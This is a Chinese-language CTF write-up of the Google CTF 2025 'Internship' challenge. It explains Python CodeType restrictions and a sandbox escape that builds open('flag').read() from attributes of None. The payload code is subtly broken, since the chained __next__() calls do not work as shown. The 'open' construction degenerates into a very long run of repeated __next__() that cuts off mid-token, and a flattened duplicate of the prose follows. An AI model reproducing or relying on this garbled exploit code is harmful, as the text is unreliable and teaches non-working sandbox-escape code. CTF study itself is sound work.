GoogleCTF2025之pwn-Internship详解
字数 803 2025-08-30 06:50:27

Python字节码与CodeType对象深入解析

题目背景与概述

这道Google CTF 2025的pwn题目"Internship"展示了一个有趣的Python字节码操作场景。题目描述了一位实习生遇到的奇怪现象:Python shell在要求返回2时返回1,要求返回9时返回6,要求返回20时返回4。这提示我们Python解释器的内部整数处理机制被修改了。

核心知识点解析

CodeType对象

CodeType是Python中表示字节码对象的类型,属于types模块的一部分。它封装了Python函数或模块编译后的底层字节码信息,是动态创建和执行代码的关键工具。

CodeType对象包含以下重要属性:

  • co_code: 包含实际字节码的字节串
  • co_names: 全局变量名称元组
  • co_consts: 代码中使用的常量元组
  • co_varnames: 局部变量名称元组
  • co_argcount: 参数数量

题目中的字节码限制

题目通过以下方式限制代码执行:

  1. co_consts赋值为(None,),限制只能使用None常量
  2. 通过co_names控制可用的全局变量和函数
  3. 使用swap函数打乱整数内存表示,导致数字行为异常

字节码执行流程

  1. 读取输入字符串并编译为代码对象
  2. 动态创建CodeType对象,应用限制
  3. 将字节码包装为可调用函数
  4. 执行函数前打乱内存中的整数表示
  5. 执行用户提供的代码

漏洞利用技术

绕过常量限制

由于只能使用None常量,我们需要通过以下方式构造其他值:

  1. 利用None的属性方法:

    • None.__class__: 获取NoneType类
    • None.__doc__: 获取文档字符串
    • None.__str__(): 转换为字符串
  2. 使用迭代器方法构造字符:

    # 获取字符'f'
    p=None
    f=p.__class__.__doc__.__iter__().__next__().__next__().__next__().__next__().__next__().__next__().__next__()
    

构造完整payload

通过组合多个字符构造open('flag').read()

p=None
# 构造'open'
o=p.__class__.__doc__.__iter__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next
Python字节码与CodeType对象深入解析 题目背景与概述 这道Google CTF 2025的pwn题目"Internship"展示了一个有趣的Python字节码操作场景。题目描述了一位实习生遇到的奇怪现象:Python shell在要求返回2时返回1,要求返回9时返回6,要求返回20时返回4。这提示我们Python解释器的内部整数处理机制被修改了。 核心知识点解析 CodeType对象 CodeType是Python中表示字节码对象的类型,属于types模块的一部分。它封装了Python函数或模块编译后的底层字节码信息,是动态创建和执行代码的关键工具。 CodeType对象包含以下重要属性: co_code : 包含实际字节码的字节串 co_names : 全局变量名称元组 co_consts : 代码中使用的常量元组 co_varnames : 局部变量名称元组 co_argcount : 参数数量 题目中的字节码限制 题目通过以下方式限制代码执行: 将 co_consts 赋值为 (None,) ,限制只能使用None常量 通过 co_names 控制可用的全局变量和函数 使用 swap 函数打乱整数内存表示,导致数字行为异常 字节码执行流程 读取输入字符串并编译为代码对象 动态创建CodeType对象,应用限制 将字节码包装为可调用函数 执行函数前打乱内存中的整数表示 执行用户提供的代码 漏洞利用技术 绕过常量限制 由于只能使用None常量,我们需要通过以下方式构造其他值: 利用None的属性方法: None.__class__ : 获取NoneType类 None.__doc__ : 获取文档字符串 None.__str__() : 转换为字符串 使用迭代器方法构造字符: 构造完整payload 通过组合多个字符构造 open('flag').read() :